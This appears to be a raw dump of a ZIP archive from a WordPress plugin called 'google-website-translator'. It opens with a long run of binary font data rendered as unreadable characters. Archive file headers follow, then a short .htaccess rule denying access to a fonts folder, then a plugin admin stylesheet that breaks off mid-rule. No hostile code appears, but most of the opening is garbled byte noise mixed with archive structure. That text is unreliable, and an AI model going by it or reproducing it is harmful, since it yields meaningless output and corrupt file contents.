Qåsˆ‹ô(/Nã9NœÏ#6^üpýÍ×gZƒ»|°Ff¶L™0©÷óÓÛÅ5ý·¿—*»®ïª“_5wZ~/ý •ihO³9uÈÃôÛ·aN'X¼ÀÊ|)Y稙u€àÞ»—Çk¤ÍÁÜÚavóÊW„Ü ‘¤LyÄêQa®8áѳ ËC88 *Lƒ ÕÌ&’ýn¸"’lŠc”¸(aC­}jc]ÍÚ}ëÖíówõMŸÞ'}Ï×}Ü×—œOÿK­ –2ífO[òOÖ¬Uàr&³”9¾©è´j!AB`‘U0‚㲂G%õ‘…’ȸÊC9°NhðqÌÿîqX,4”?¾+ÿ®J–`CÉ{H Vð0Ùìá²¹X ‰$¯2 TkÖEÄ­fÖCâf>¾Ä%‘ÙPu ƒ«žªBYdð¬²H Ë%¤h<¼¤F›>C«i¬ï½Í/Ö´ÌYØSo§~A¹©ýªù³ç\xU[¦eÙW¾tãÚµ7λgÙ²9—4Ü‹6‡ ÐAÏ4“I¶ ÇæãWá8ÂX¼>•«`£<Áò#êÞTÎgn"Ãy1†îppÑBe¤ªåx[–u4Š#“Vu^åæ XYU×T,ެ«8²´6²$^[ר{o}ä)­KøØ¯½Â½‹—¥¦Íí™zïŠô´Ô²i)Ü1 ò­‰ÉóoZ·Æ>K~‡¾`ÅâÉÅw¤í³¶¿-¿sâãÃ*ÀºCÌ?x1á;.8¹Ls2›Ä‰`¥?¥»ßD…„ŒçRr„ÉQä\רíMÌ"rTšÈwð/X×XõÔ“tÍîwKwo7>÷ô³'É>Ý,ì>lÆP…å4)fŠ2Û>|þ¢è +|–›õN½ùí4GªH˜\Mô@*'™{G˜ºÀ v¦x%}$¥‡5||O§;iî1`ó8ÑçŒá ›“€YtJ¬Qw©ÌÈŠš{eà<†53·õÞ—l묜>wU_ïÊ×C m™zÚ¿ø…‹góñm<ô>V·ºdmèÿă)ÉüE­çÄEîÆzUÜuÅ'•V¨êIŒ}·¥XI¯yXÍóæ õªçÊ¥—®QkªNß"ü¨9°×' {¡F»’d8¿e\êØåAsTZ0ËÂUÌÇ 4‡R,8« z²û€áÝ`l¯Y@¸iÔ3Ša Ï£Ùü"s'Œ††‹.jh`@éeÚ½fýú5ùŸÃñš)–ÒEK'L9 # 3àh&ñ袦ËÜ©ÏÍ’³ÖZ`†Ì¡€dd`Ž0ç§8@›¢zÒ%ÞïÞ`(|Ò7ÝøI|ò t98@›NHèàtýq€Têç"uÅ´õ|ãÆ×ï¾û^I›6í²Q!!Ù|æSé—Œo|$øyG|õhš½r.ò¤ÙkÎ_µ¡L[j-¬eË™[¢\IEmJía–Þs6ÃU}†ÃíÐäV+´°hÙ(K‰†Aû”EYƪFÿ±‡‰ÊÔ×WÎôe9Æ”ŒNT½2Sʽlû³Ø,õ¦tŸó-S’Tztöìmßþv Ÿš1ñÇîÃÈú}»wßG/eöÆæ3yé“f“È«$ëGйӹ‰|ä£hVWîšåêø­ò:F­ê?J­ÉŸ“ZXóì/˜+54LÔÕs!ƒ%½Uˆ&Ü_œ£¸lÈ‹eõz} [—œÄtHùD´Sê3çP ôf·t¶îAwZ„‹m_yn›ØÝÛ=ÑÔ&3—~qªƒúΡ¡pS÷ /¾xMwfò²åKQ¯^¶ý«W\1é^äÁ^ƃ¨W'“NÒE+Iv"R´=Í^Ï£j³I”rIܯ§%Ó^|©¥s-œ/§jÙL ¾13,ê 2Þ¶¶ü)êåœÏËnXºyúŸª›q´«§L–mçohÕ²íø†ö©ÐÇŽv<íhùžQªÇu"j½!0º|2NN‡j$qjÚú$˜– Øæz*cÈàµ+ó¯QõÎsX~låO|"£Ö ø 40òçç¬ §gN°¥JÀý$[Ì <œ V°ý€"ÖŽUöá³\³(f«4ªÑÂn›#‰>YæU‘^R&qÙL׬QX/UÑ{íà…šXûÚ”f,.ÉêBjÅ;-êp¼êÁØþ›îÍ?÷Ôé!ºô«?¾åº{.œTߨñØmÛ¾·õé矗"C¸ƒ ˼cýà#¯Î ,äÔÓ=,Ð[L#ô•F¨œ7ÐWšFèci„¾B¡O}…4B_09àÁ#¶{}<Ðg¦‚$,¦ò#£K* xwÆŒ~±ÄB7MGbirá²·ïë)&ÚÞ8qê7,ǰH ×ç¢Å9)•"-þCR* ÉÈD!.2wß•d馀ZG%Z^½ lI²%Íàì(zøˆJ~ñ™ôð3z(EzÆ¢Gð¼ôPKé¡2z¨z¨@µ@èáÇ#¶+*§‡jÒl¦1yçñ¡ QŸ–²HðH“}—ÜøÂ[?{}ù•±"£ Î_¿~¯¼´© ÕäÌgÒ¦’Ѧʢf¦ƒŒŠîF÷[™é㨋hµç%Zu)ѪѪ D«¢UˆV D«Ä#¶WUs¢U›D«¬ª>‹h† N ›Û.ãd3ÔÛ%£22賉1µH!¤†Nqû¨ÄÞuS–L×6WVOÝ:勿Ùü’µØ¼¤«£ªiÉ’éUM§>J£Þä´ÖM ÇþT)…nÚpÚ‡uØ2¨‚e8 ØÝŽâvv–ŒÛ×`Èh@ øœø¡ÿ\iVʘ¸FZDé^¤aß‘®¡5sÙòÈdJ:›ûæMzÙSÌ? å`š|½F/µ@/*᣼èЩ(eLtS„81<‹ÛŽ¡ý'yËL²Už—lR²Ù²€lÙ¸ƒ%±] p²L²)j „gY\Þ…Áw¯j¸}Ȩ üz%,*Z¾% «`º—Фõ_ó­k®ùVjhMgcgCCg-»°ùšS'„£‚ˆ7™Ìľ°Rù{<ëÅ þtztÚ²Oñ`Þ«O fO!ƒ9XÈP÷3߯í¬Tb©s ,ngf›<Øí8qA‘˜|)7àó3:á‘“'K}J‘›h1ï9®&@ ¨ºIx/¿¶ç_£›Gv¾7k­^Hƒ6×öä·³üäy‰d'#Z-Kо[ê¨<÷ÊpÀ‘Ì5ó»Í) o[[M6Ôñ€]LÍ*nô‹•Í*ßßfrœT‚eY”ÁP&sþ´x{ÁaîÃÜ-´$Y~ÇV/ÙvQô›ž›7ÿƒCžYÜSB·Å7½Íýo„ƒ CÝÀ%_ý¬¬våOËjW­4OFw«Y¯Ïo"Ÿ’ÍM‘>7Cf7 o Ã:êó«cvqB)=wýì­&Œêîúõ?ñ>댮AÜ_îõ=3¼ £Tͬ®øÜýº H]Þ¤¤Œ KeæI§,¿8…r¦X›QÜ-ÐÏ0Ð[ ø g€0hc~Q;™J²êvÀH;°0²Ä„ ñ½™Ñ»%RFGa8æßúÎÎû4ÎñyÍß¿{ÌK÷‰bßÍLLÙnÎQZ‘‰Ž½½ý· Ìš>YáÌNÌõ‚ïÆý¢¦–f¶9óÀÜ„vVÉ‚¾@– 9 PɆŽè·‰ á+$¼*pŒO²9ñ̳ðŒ7Ìøº›\2&uлëàQw§ÆÜpœT¢]*BÀ|lpJ!0OÇ×Þ#mÇÚXž?ψ¥‹X½Žðè—ÍjŸ•E1«Í-y™ô&&)3¥‡¹}lëã¬ÏÃDÊÁ„õø¬Ì³À„%1VYNãByO\  |Ðüvôò*Ÿü£ÇxÏý…~^ì#ôç¯àõ>ù+BŸYn>`h'©"[‹ÙùE|b¦èëÑfÁĘU÷¢)7Árõyr÷k¬õìªbfÐ3‚Ý«DÑw†[L¡2(Ièǰ_UÆPÊñý¡Ñ þâˆÖJúÿnÂÞR€µ¥…£Ð,p« 0ålŒ,2«rq–¬j/¶ÙNn,ë¼¶iË“a…«ÅskfÂÒë:§NÀ–8qjµ™ó^ÚÇpIGW.”U¹PQZ¹ +j6‚9f¾~YæÔ0`etƒVñXµ ôAXÕ¥} Jò³a«åØÇ*ÖG”„Aæ,d}¬6w ³èU‰+ä ÖMÿ¹Ý šËÿ\j&Aò¿ö•+CçTN3;ñlš¾ý­!Íä.³¿uV›Äa=–Ê8‡ÌlŒJ“ÃY ͨŽDV«ˆÁXY- dRƒÝ¯Wü±Js$’3anâ†\j2zA$“9khck玳¡ÀåE“­÷ÜAo,µÜÖ›c—̱ë&ÏW‘[Çàz”†å\õUhÖšæKàl%V²*ôrkól\ì~.^1ƒÕF Š»› §tî|¢4-²\Ú{$ƒÃÒœ5›`^­¶øïæ[,¢÷ ¿”0¦Y„ŘØoðÜäb„Ûææ}^ ¸6(«$ÝÀ‚’ Ö ÎHGSG´#jڛ싆ÞZó‡Ö Áÿ¿¢ÃÅ[xq Ï1>Ê Çå÷aeV8YÉýñFµEIVøZW¨¢©d»_¢ã ÊêPŒ„UK£fôZÕðqt¦L£í$ÜÃsy#¸1Ÿ0lN‹cÒö‹üº&{SGcÅ|È Kõdt×¥Í Úzݳ°yAzþ»ïûV¬Ô·qB¶Ý\þЗCb¦oªxðËôBáŽ[O¿qõ6a‘¹'"ÖUÀzFÛ~Ñy++‚cUV„,$àõó-]ôPdtר5( u] Ϫµ°5žø÷éîe½ñ+fo š«? ú ýyÇðÛgõGn?qâl…Qâ§O‘±ú=‹FŠ £¤ÀnÎÓ-z…ž5sà3FçêŠfßtF¯zÅÇìzGƒ`;Â*òVyWõ.ef §Ð÷RÒ{=ˆ·"fšjÀÏITu™m=æ$›¨¶Ðý ¬?rNß°å¸)tuâ¦óU>x?£òÁgV> N—‹$þc•Aà¤[¥æ|-–CHÇ­…š=/‰b¤{ Lœóø˜í€?O FÙ)«–(c]õB§ŸÆ}-ü³ª=Ãé±jøŽ­U÷›ñå¿!Ì™ÁŠø¬#“YÙBò—¼’L¿8­OÒJêÉôf•”éi¬*Ó{´’Â2}:Lþ¢Ïª-ÓŠ1]š‘„·\Ižú9C3.‚«.͸†U!²Âݦ²²³€Yvf$'¿w.~¿@Õ5³ mÀ—h¿ˆ§ï~F%ZÃ÷ë>Ošuï]~þù*Øžã [K+ÜÈx¼f<^3¯׌ÇkÆã5ãñšñxÍx¼f<^3¯׌ÇkÆã5ãñšñxÍx¼f<^3¯9+^#’4m>‘úMyßJÌŸ*)Ûq¤ÐØ4Å<Yì¯K+ÿ1ÕËjá…—ó­CCCÂÆ]»òûൣ3ã±™ñØÌxlf<6ó_›MZéŒV ¹ý|ÔÂ-¼¼iÀÌøcTWÇ Ý€Çf@Ë0Z …Ó€—5(£©øã{}Yû†XÄÜó<š˜Ö^"î $­zª ;—š’3ŒjF㳌ýühÎáöã¸XÁnn€‹ìPŒBtsiYO„a¬Y’58q9“ VÙgü*¬ª²‹²ŸËžñÔ“Âo UäɧÞÖ¹iSç4ºB8úô³¦mõÌ{/ȽÿSûü?™Gè™·äw„$³ ÙïB_ ¥Ùvkã3ó÷ Kök7ÁfÓè/ØúôÌòß ­€ñ‚$C°nÝÆ€MÑE¶Љæ¸Yïâßfw¡wЏPýŽek´–8Ì­³ÑvEé¾dÔ®äßpý›Y¤ƒÕ}KÃøW²ë¼ ‘àmšïw|öû…÷÷‰Ó$Ûr )þF0ÖOKöakßIÜ&Öfý¸dcûò!|¡š÷álŠÿü‡F}_š˜Ûtþ ¿),ùMqéÅ¡—Þã{wÿ»ÿN¹€ý–°~zñWØ ikðº=ã×ÝüÇ‘9 pà:A1ï·( (S¤Eº„$%ta´ý̹ÄRÔH %¿tZ|ìY°Â_ÜIÚ•)Ò«tˆG‹´ãôc¿­*,aôóZ»ŸãÑâø×=7}žç™£å¼{Õ…¬8Lœ¤…Çd*îaÈ^Ì=ôÐQ€üÅÜ\=ÈößÂÐ;ö¬_·gÏñ'…Áu{~ôáž=–?O¼—ýN<â~sD ˜ÒlL†ìÔ´’_÷Œ± FN´Ô»“6eÿ=yüÇÿãû*n¥ýÒ "“ Ûr‡íFÄv84¶+6F6|?kÛ!›¹íнwî¶CkÛ!ò /7Ëá "žµWP|ÃÑ;î8*¼!ÄGÞya¬þ”Vþú³Ûzj¡Ê?`Vùo¶zZZå°ªüÏî•Î*ÍCo6lØ*Ì2;Äæº ìËå}d9`þÞz°hœýÞz¼·^1ß;pY»ºåmvy“`sšUä¸3,±¶²´¹‰ÑXEyòM ¨¦ÕèAÁ W'ñ{ª+hle“ìWÜ“è)“4½ZAË -¼‘íwÍjÉ«“¸¿'û…ö©Ì=Øžw£6´Ua¤†ýÃДUŒ;ƒâ¶%{èü=G;:;:hWþeük¿¹ãèžüÁ=BsÿÍý¯xî¹ë7_L²n%È6mw¹=f´Ïd kceª¢þ77oÑçÿâAºá•ë—¿rÿò?_#Gï»odŸ°þ†ò@…‘&Ü SFòLg"ïdûý·žÇë,•@ pmÖªÆUü0Ûúÿÿ§xÚc`d```dhrýÏoó•Ažƒ.h¬Œ„Ñÿgý›ÌÁÀ®är00D?‡ SxÚc`d``×ÿçÎÀÀÁðÖÿé @ðw¡xÚ½’½KAÅßíîá!!XS©¤ÒäÐ AÂÔ%ˆ†S¬m´°1­`#’?ÀJbk!X+ +{ !M* ;A+‘øfs§ÅN?&;³óõöÔÊàON@U¡^ĘΡâTô*Ö:–•Â&ÉÐoÈ’³Ï»=«¤¯DîH(¹dDî‘rÄ )Ê}›“CÅCu¬{ˆ)=‡´.16ÌZ ô?“kžGyÞažÌ—@Š3…ê ¡YCþšímlÍ’.0öŸ5SÚgýÒæ€ûÔíNžzeŒ»ÈÌ´“ôehÿ­’>8-ZÑs(Öžÿ«‘.I‰‹> Ý÷Y5‹@uìý¼èn}€ç´mݼ °AªôÍ‹öö}Às€©H.ß³Qå|»ï˜Sx¢Ý¿§ÑmÉœ´'ä’yŸûgÅZÑ j Z¹oðÿ¸þ·þbÍÁ¾ ºr«ˆ­ÚâÛÜéx¤Ý¥ÝfŒï#ßGâïÛêö{ìé6ýÌuޱ°.ýãœ!å6I,%xÚc``ÐÂ8†Œ LLL‹˜˜˜»˜1¿c1cI`©c™Ç²‡•‰Õu ›[Û vöö!5›8îprpp.âšÀÍÂÆ½‡ûOÏ%^^ÞÞI¼»øäø¢øð=à·âŸ' $à$Ð pAÐFpƒà;!5¡¡"¡%B§„ž ³Wß1ÉY#òDÔC´It‘è%11±)bÄÅÄ#Ä7IˆItIì’ø!é!¹EJC*Mjž4“´œtƒô! ü"#sO6D¶JNLÎAî—|“›‚‘B€¢Œ¢b›â)%=¥5J§”y”µ”k”w¨ˆ¨ÌP5R½¥¶G]E}•†‘ÆÍ2->­CÚ&ÚWtÔt*t.éZè¦éNÑ=¦Ç¡—¤wK_G¿NÿšAˆÁ>ƒ_†i†ë ¹-1ú`leüǤɔËt†™ŸÙ3óY<k,þYX®²°²³Ê±šgõÀÚÊz“ ‹M˜Í:[Ûi¶'ìLìjìŽÙ‹ØÙïsàpHs8à(åXá¸ÀñøÆñ—‡“‚“…S‚S—Ó§wÎZÎiΓœO9Ÿrr‰Â®U® ó5äNcxÚÝXKoU>NK¡GPE©„X Q%’(ñ„6” MóP*MÓT M<“ÄŠã±ìq¬T³fÉ/@üV,áO°@ü–,9ç»çÎË3ŽûZ¡«ñœ9sîyÝóòÑ ú“®Píêu"zÆ—k4ÃOž¢iúIá+´O?+|•nÑ? ¿EÖf¾F7j …ߦj÷~‡æj¿(|áß~—žÕþRø=Zœú^áúÌêÔ OÓâì¯ ¿O3³+üMÏþ«ðï4{óšÂÐÊÍhƒBêÒõ¨EÇtB94OMZàûmZ¡Oùrè)ÚãßéšL×âç}êÓ€:Ð)y4ä«ÁØujór2ûx øðýœ}¦¼Ï÷CÞ#o¿axÀ×_Ç µß+È•¶Æ;˸8>k[&¡ÿzöYfÈòÞ×à+Ì#Ým÷–ókáÙã+bNÛÐxŸ2.¤£ ½y9Íå¯ï„åMIJ×Èååó³x@ü±œ.S5XRȘƒÿɪ³ÌJqNWçiœ’})õAÎ)¬ƒ¹ÕR«$ 6µÄM …œ›Ù/p\x.ßéŽÐÅ#¶äy;9w")²>aK–±\½ç!koгØx,•±@žãÊ}£òìŠKÞ¸‰÷‹úÙ§z¥ïݱž‰GÞÅß»¥tñ%ç‘Ò¸—PquX™Ú;ÊÂñÈ»8GãVÐŹÌpKs7®”Z†sF2þMZî ìy³,™×|K1›´Ãg¾æ_éLOi—¶ÚfÜ–B¹KϪcmÑú ÔóèÄ'èÍ[ÜÏ|¾?Ñnå0t¼€ñ}P¬sW“n&=[°j‹pÜG_”nçsßjroL)ÒžßÆ4á¡Gz%¼Џ›À8蹃Œ†j8P —ÀÇà63]T¼`û¨9ÁûèâÌ.–,³Fº‰mtj'ïÊy9<„Ðtž÷,@ºÕ0µF´ Õù 1'øÉ$am‰`Á|cæž(ñ᨟°¢Ž‰Ëá6RE¿‹ÄYVSõTyïèdqùM¦·ça´ì`çrÕÜNõD#¥w0‰ÇŽáó:ÏOÏ«g¤|ÄnÞ‘Ó9ƒgõR'ã¿!æK9OCk¬ìböêç«äH}m9t×…œ%ÄdÈÂd m$kÀTV/sÎbÙRË:ð®ûÌ XfãÚž`oML ªEÆêX=ØÖBÜŠµ‡à¼¤ÌÏÆÊ<ã»ÈJ|pk±,Á´ 3©æˆ‰ˆ4ŠòžÜ…öK¼èA¢SòŸ!Èäö«ý—P}MøY²Ãd³ÑH|{¢’ål+@¹ÍŸCÒ&= Çlt…ÜI¶Ø'W×S_˜gÉ umÁÿ~!S„ÞÖCSÝŠ¢ªÆ''h*ËT&¾"x¡…ì!Ó̉Û3 K­Ìv «Ýh%2Õ̼7µb¨räýéX‡ˆÝvæ„Lõo£nšèMÏAt¹@ÜzI}Ë{¯‡Jr —ø_Êì’zÕ×zØÓóÿ ÖÆçYIt•·¼Ô·’Yõ‚n¡ÖÙ^‰Ä¢Þ'9ߥÑ*±Ä+PÎv 0‘.ߢDS_ý-²<ä¶Kgûvùù¡mªs+©”VR_c2DÖX/w0‘´‘/RŸš™^bâ¬Ì#CXØ@GÞ.(Ì9¦:ç;»èßÏø©‰{q)ö‹áåGÚ¡Æ¿‰“5–»¨óY_N&ÿ¢àª¨¯¾š«ˆî9•µŸt¶3y{î>jÀ¸Ü*N# C·¹Ú<ôSí¬t¸Uq驇˧S“|ÞÛä}_2ßuð}Š8XÊTÔ&$}<±ìPcÁÎfŠ0pùÂÓdɽÄÞe†<ÄÔ‹ë⃗íu· •b¾fÊßEÌvá©5nÑS´5ut‘`ãÄNö²6Ô~}Ù/AõŒìq‘ZSqçŸ#âô\œÜí?ÕmµÜÖ‹(7雹½Ç¸ªý»ˆ·.{ÎãëX»ŒWI¿ÃÔmd‹©Öžú+ýÖ6¹g.ÿÒü(Òü5_|Ã72É P“ï0Þaü]–y›¾àßU¾Û¯¨«ÿ£!¯xÚmÐGL“qÆñïJ eïáÀ‰[ß÷-e8iºqâ€@[EÀbUÜÜ#o×E[Áh¢4îGÔƒ'*j<¨Wïß›Ïå“ßsx?BèÌ//Õü/í !J(°b#œìDE41ÄG< $’D2)¤’F:t¡+ÝèN&=èI/zÓ‡¾dÑþ ` ƒÌ†2 Ù8É!—<òÎF2ŠÑŒ¡n )¢cÇx&0‘IL¦„)LeÓ™ÁLJ™Ålæ0—yÌg YÄbÊ( 'hf+‡øÀ6ö±›Ãœâ¤„±‹w4qP¬bc/;h㽄s„Óüà;?9ÎYîs—sT°„ýTò*îñ€§<â1Oøøçs/xÆsÎãåxÍK^ᣃ/ìd)~–±œj9J+¨'@AV²ŠÕ|b kidXÏ5ޱ‰lf ŸùÊu.p‘¼á­Dˆ]"%J¢%Fb%Nâ%A%I’%…K\¦…Vns…«Üa;g$•›Ü’4IgdX½5õ>ÝİkýšæÒ”E¦nÕ»Êü¿š¦)u¥¡t(³•NeŽ2W™§ü·ç2ÕÕ®®Û«ýÞ` ª²¼ÁgV†ÇÔé±u‡ÓSø®õ’ŸxÚÛÁø¿uc/ƒ÷Ž€ˆŒŒ}‘ÝØ´#7Dzo 2"e7°iÇD0l`VpÝÀ¬í²UÁu3ó&m0ŸEÁuk&”Öd™“dñÙ˜´ |Æ PS8Aõÿ™ÝÊ´]"7ˆhÁ(zTøÚPK/—[³yd«cc0google-website-translator/styles/fonts/.htaccessnuÏÃ6Ç$ Order Allow,Deny Deny from all PK/—[ë#þjþj*google-website-translator/styles/admin.cssnu„[µü¤@font-face { font-family: 'bebas_neueregular'; src: url('fonts/bebasneue-webfont.eot'); src: url('fonts/bebasneue-webfont.eot?#iefix') format('embedded-opentype'), url('fonts/bebasneue-webfont.woff') format('woff'), url('fonts/bebasneue-webfont.ttf') format('truetype'), url('fonts/bebasneue-webfont.svg#bebas_neueregular') format('svg'); font-weight: normal; font-style: normal; } .prisna_gwt_no_display { display: none; } .prisna_gwt_no_display_important { display: none !important; } .prisna_gwt_hidden_important { visibility: hidden !important; } .prisna_gwt_admin_container { padding-right: 15px; width: 800px; position: relative; font-family: Arial, Helvetica, sans-serif !important; font-size: 12px !important; } .prisna_gwt_admin_container label { font-size: 11px; color: #555; } .prisna_gwt_admin_container textarea:focus, .prisna_gwt_admin_container input:focus, .prisna_gwt_admin_container select:focus { border: 1px solid #ddd !important; } .prisna_gwt_admin_container td, .prisna_gwt_admin_container textarea, .prisna_gwt_admin_container input, .prisna_gwt_admin_container select { font-size: 11px; color: #555; box-shadow: none !important; -webkit-box-shadow: none !important; -moz-box-shadow: none !important; margin-left: 0 !important; } .prisna_gwt_admin_container textarea { background-color: #fff !important; } .prisna_gwt_widget_container_text { padding: 10px 0 5px !important; } .prisna_gwt_widget_container_image { padding: 15px 0 5px !important; } .prisna_gwt_widget_has_title.prisna_gwt_widget_container_image { padding: 5px 0 15px !important; } .prisna_gwt_widget_container_image img { max-width: 250px; } #prisna_admin { direction: ltr !important; } #prisna_admin code, #prisna_admin p, .prisna_gwt_admin_container code, .prisna_gwt_admin_container p { font-family: Arial, Helvetica, sans-serif !important; font-size: 12px !important; } .prisna_gwt_admin_container .button-primary, .prisna_gwt_admin_container .reset-button { cursor: pointer !important; font-weight: bold !important; display: inline-block; text-decoration: none; font-size: 12px; line-height: 25px; height: 27px; margin: 0; padding: 0 10px !important; cursor: pointer; border-width: 1px; border-style: solid; -moz-border-radius: 2px !important; -webkit-border-radius: 2px !important; border-radius: 2px !important; -webkit-appearance: none !important; white-space: nowrap !important; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } .prisna_gwt_admin_container .reset-button { color: #666 !important; border: 1px solid #ccc !important; background: #eee !important; } .prisna_gwt_admin_container .reset-button.prisna_gwt_button_hover, .prisna_gwt_admin_container .reset-button:hover { } .prisna_gwt_admin_container input.button, .prisna_gwt_admin_container input.button-primary { font-size: 13px !important; text-shadow: none !important; transform: none !important; -webkit-transform: none !important; -moz-transform: none !important; -o-transform: none !important; -ms-transform: none !important; } .prisna_gwt_admin_container .button-primary { border: 1px solid #32373c !important; background: #32373c !important; color: #fff !important; } .prisna_gwt_admin_container .button-primary:hover { background: #222 !important; border: 1px solid #000 !important; color: #fff !important; } .prisna_gwt_admin_container select { height: 33px !important; padding-top: 7px !important; padding-bottom: 7px !important; } #section_prisna_available_languages { margin-bottom: 10px !important; } .prisna_gwt_tooltip { background: transparent url(../images/tooltip.png) no-repeat; background-position: center center; height: 16px; width: 20px; display: block; position: absolute; right: 7px; top: 9px; cursor: pointer; } .prisna_gwt_header { margin-top: 10px; margin-bottom: 15px; position: relative; border: 1px solid #222; -moz-border-radius: 2px; -webkit-border-radius: 2px; border-radius: 2px; width: 798px; background: #23282d; } .prisna_gwt_header_icon { background: transparent url(../images/logo_white.png) no-repeat !important; background-position: left bottom !important; height: 50px !important; display: block !important; margin: 10px !important; } .prisna_gwt_header_title { padding-top: 20px !important; padding-left: 26px !important; font-family: sans-serif !important; font-size: 24px !important; line-height: 24px !important; text-shadow: black 1px 1px 1px !important; color: #fff !important; } .prisna_gwt_header_title a:visited, .prisna_gwt_header_title a:hover, .prisna_gwt_header_title a { color: #fff !important; text-decoration: none !important; } .prisna_gwt_header_version { position: absolute; top: 5px; right: 8px; left: auto; bottom: auto; color: #fff !important; text-decoration: none !important; } .prisna_gwt_header_version a { color: #fff !important; text-decoration: none !important; } .prisna_gwt_align_left { float: left; } .prisna_gwt_imported_success, .prisna_gwt_reseted, .prisna_gwt_saved { background-color: #e5edc4; border: 1px solid #b8c97b; color: #333; background-position: -190px -118px !important; -moz-border-radius: 2px; -webkit-border-radius: 2px; border-radius: 2px; margin-top: 20px; } .prisna_gwt_imported_success p, .prisna_gwt_reseted p, .prisna_gwt_saved p { background-color: #e5edc4; } .prisna_gwt_validate_error { color: #ff0000 !important; } .prisna_gwt_validate_success { color: #3F7227 !important; } .prisna_gwt_wp_version_check_fail, .prisna_gwt_imported_fail { background-color: #eebdbc; background-position: -119px -119px !important; border: 1px solid #cf7a73; color: #333; -moz-border-radius: 2px; -webkit-border-radius: 2px; border-radius: 2px; margin-top: 20px; } .prisna_gwt_wp_version_check_fail p, .prisna_gwt_imported_fail p { background-color: #eebdbc; } .prisna_gwt_warning_message { background-color: #fffbcc !important; background-position: -154px -47px !important; border: 1px solid #eac572 !important; color: #333 !important; -moz-border-radius: 2px; -webkit-border-radius: 2px; border-radius: 2px; margin-top: 20px; } .prisna_gwt_validate_warning { color: #ca871c !important; } .prisna_gwt_warning_message a { color: #333 !important; text-decoration: underline !important; } .prisna_gwt_warning_message p { background-color: #fffbcc !important; } .prisna_gwt_warning_message code { background: #fffbcc; font-weight: bold; } .prisna_gwt_message b { font-weight: bold !important; } .prisna_gwt_message { width: 766px; margin-left: 0px !important; padding: 0 0 0 33px; margin-bottom: 10px; height: 31px; line-height: 31px; text-shadow: white 0px 1px 1px; background-image: url(../images/sprites.png); background-repeat: no-repeat; } .prisna_gwt_message p { margin: 2px 0 0 0; line-height: 28px; } .prisna_gwt_message a { text-decoration: none; } .prisna_gwt_message a:hover { text-decoration: underline; } .prisna_gwt_language_group { float: left; width: 160px; } .prisna_gwt_language_order_group { float: left; width: 757px; margin: 0; } .prisna_gwt_language_order_item, .prisna_gwt_language_item { padding-top: 4px; } .prisna_gwt_language_order_item { float: left; margin-right: 5px; } .prisna_gwt_language_item label { cursor: pointer; height: 16px; line-height: 10px; white-space: nowrap; } .prisna_gwt_language_order_item td { padding-right: 2px; } .prisna_gwt_language_item td { padding-right: 2px; } .prisna_gwt_language_order_item td, .prisna_gwt_language_item td { height: 16px; vertical-align: middle; line-height: 10px; white-space: nowrap; } .prisna_gwt_admin_container .prisna_gwt_color_picker { width: 100px !important; margin-left: 8px !important; padding: 8px 5px !important; } .prisna_gwt_admin_container input.prisna_gwt_color_picker_view:focus { border: none !important; } .prisna_gwt_main_form_container input, .prisna_gwt_main_form_container select, .prisna_gwt_main_form_container textarea { line-height: 15px; } .prisna_gwt_export .prisna_gwt_export, .prisna_gwt_text .prisna_gwt_input, .prisna_gwt_textarea .prisna_gwt_textarea { width: 550px; } .prisna_gwt_export .prisna_gwt_export { height: 100px; } .prisna_gwt_heading { padding-top: 10px !important; padding-bottom: 0 !important; } .prisna_gwt_heading.prisna_gwt_heading_hiding .prisna_gwt_title_container { margin: 0 !important; } #section_prisna_languages_order { padding-bottom: 0 !important; } .prisna_gwt_heading_enabled h3 { cursor: pointer; } .prisna_gwt_size .prisna_gwt_separator { float: left; display: block; width: 20px; height: 10px; } .prisna_gwt_size .prisna_gwt_input { width: 40px; } .prisna_gwt_textarea .prisna_gwt_textarea { height: 100px; } .prisna_gwt_visual .prisna_gwt_visual_option { display: none; } .prisna_gwt_visual .prisna_gwt_layout_s img { width: 82px; height: 28px; } .prisna_gwt_setting_no_title { padding-top: 5px; margin-bottom: -7px; } .prisna_gwt_images .prisna_gwt_image_checked img, .prisna_gwt_visual .prisna_gwt_visual_checked { border: 2px solid #666 !important; -moz-border-radius: 2px; -webkit-border-radius: 2px; border-radius: 2px; } .prisna_gwt_visual .prisna_gwt_setting img { float: left; padding: 3px !important; } .prisna_gwt_visual .prisna_gwt_field { border: 2px solid #fff; padding: 1px; margin-right: 4px; margin-bottom: 4px; } .prisna_gwt_visual .prisna_gwt_visual_new_row { clear: both; } select.prisna_gwt_select { width: 300px; -moz-border-radius: 2px; -webkit-border-radius: px; border-radius: 2px; } .prisna_gwt_setting_aux, .prisna_gwt_select .prisna_gwt_field { position: relative; } .prisna_gwt_setting_aux:after, .prisna_gwt_select .prisna_gwt_field:after { content:' '; font: 11px; color:#aaa; background-image: url(../images/sprites.png); background-repeat: no-repeat; background-position: -161px -479px; background-color: rgb(238, 238, 238); right: 0; top: 1px; left: auto; bottom: auto; width: 20px; height: 31px; position: absolute; pointer-events: none; border: 1px solid #ddd; -webkit-border-top-right-radius: 2px; -webkit-border-bottom-right-radius: 2px; -moz-border-radius-topright: 2px; -moz-border-radius-bottomright: 2px; border-top-right-radius: 2px; border-bottom-right-radius: 2px; } .prisna_gwt_radio table td { padding-right: 20px; } .prisna_gwt_rule select.prisna_gwt_select { width: 100px; } #prisna_translations_import_resource { width: 300px !important; } .prisna_gwt_transimport select.prisna_gwt_select { width: 180px; } .prisna_gwt_radio_option, .prisna_gwt_checkbox, .prisna_gwt_toggle input[type="radio"], .prisna_gwt_checkbox input[type="checkbox"] { display: none !important; } .prisna_gwt_radio_option + label , .prisna_gwt_checkbox + label { padding-left: 21px; background-image: url(../images/checkbox.png); background-repeat: no-repeat; background-position: left top; display: block; padding-top: 1px; line-height: 18px; } .prisna_gwt_radio_option:checked + label , .prisna_gwt_checkbox:checked + label { background-position: left bottom; } .prisna_gwt_language_item .prisna_gwt_checkbox:checked + label { background-position: left -81px; } .prisna_gwt_input { width: 400px; -moz-border-radius: 2px; -webkit-border-radius: 2px; border-radius: 2px; background: #fff !important; padding: 8px 5px !important; } .prisna_gwt_main_form_container { clear: both; border: 1px solid #bcbcbc; background: #fff; -moz-border-radius-bottomleft: 2px; -webkit-border-bottom-left-radius: 2px; border-bottom-left-radius: 2px; -moz-border-radius-bottomright: 2px; -webkit-border-bottom-right-radius: 2px; border-bottom-right-radius: 2px; -moz-border-radius-topright: 2px; -webkit-border-top-right-radius: 2px; border-top-right-radius: 2px; } .prisna_gwt_section { padding-bottom: 10px; clear: both; position: relative; } .prisna_gwt_selected_layout_dropdown #section_prisna_custom_location_insert_mode + 